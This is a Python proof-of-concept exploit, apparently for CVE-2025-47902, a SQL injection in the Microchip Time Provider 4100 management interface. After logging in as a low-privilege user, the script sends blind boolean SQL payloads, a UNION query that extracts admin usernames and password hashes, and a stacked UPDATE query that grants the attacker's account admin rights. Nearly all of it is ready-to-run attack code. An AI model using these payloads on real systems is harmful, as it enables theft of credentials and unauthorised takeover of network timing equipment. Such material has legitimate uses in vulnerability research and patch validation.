# CVE-2025-47902 - Microchip Time Provider 4100 SQL Injection PoC
# Vulnerability: SQL Injection via Web Management Interface
# Author: Security Research
# Affected: Time Provider 4100 before version 2.5
import requests
import sys
TARGET_URL = "https://target-device-ip"
USERNAME = "low_priv_user"
PASSWORD = "password123"
def exploit_sql_injection(target, session_cookie, injection_point, payload):
"""
Exploit SQL injection in Time Provider 4100 management interface.
injection_point: vulnerable parameter name (e.g., 'id', 'configId', 'username')
payload: SQL injection payload
"""
headers = {
"Cookie": session_cookie,
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": "Mozilla/5.0"
}
data = {
injection_point: payload
}
try:
response = requests.post(
f"{target}/api/config/{injection_point}",
headers=headers,
data=data,
verify=False,
timeout=10
)
return response.text
except Exception as e:
print(f"[ERROR] Request failed: {e}")
return None
def authenticate(target, username, password):
"""Authenticate to get session cookie with low-privilege credentials."""
auth_data = {
"username": username,
"password": password
}
response = requests.post(
f"{target}/api/auth/login",
data=auth_data,
verify=False,
timeout=10
)
if response.status_code == 200:
return response.cookies.get("SESSIONID")
return None
def main():
target = TARGET_URL if len(sys.argv) < 2 else sys.argv[1]
print(f"[*] Target: {target}")
print(f"[*] Authenticating as low-privilege user...")
session_cookie = authenticate(target, USERNAME, PASSWORD)
if not session_cookie:
print("[-] Authentication failed. Provide valid credentials.")
return
print(f"[+] Got session cookie: {session_cookie}")
# Test 1: Boolean-based blind SQL injection
print("\n[*] Test 1: Boolean-based blind SQLi")
payload_bool = "1' AND 1=1-- -"
resp_true = exploit_sql_injection(target, session_cookie, "configId", payload_bool)
payload_bool_false = "1' AND 1=2-- -"
resp_false = exploit_sql_injection(target, session_cookie, "configId", payload_bool_false)
if resp_true != resp_false:
print("[+] Boolean-based SQLi confirmed!")
# Test 2: UNION-based SQL injection to extract data
print("\n[*] Test 2: UNION-based SQLi to extract admin credentials")
payload_union = (
"1' UNION SELECT username, password_hash, email "
"FROM users WHERE role='admin'-- -"
)
resp_union = exploit_sql_injection(target, session_cookie, "configId", payload_union)
if resp_union:
print(f"[+] Extracted data: {resp_union}")
# Test 3: Stacked queries to escalate privileges
print("\n[*] Test 3: Stacked queries for privilege escalation")
payload_stack = (
"1'; UPDATE users SET role='admin' WHERE username='" + USERNAME + "'-- -"
)
resp_stack = exploit_sql_injection(target, session_cookie, "configId", payload_stack)
print("[+] Privilege escalation payload executed.")
print("\n[*] Exploitation complete.")
if __name__ == "__main__":
main()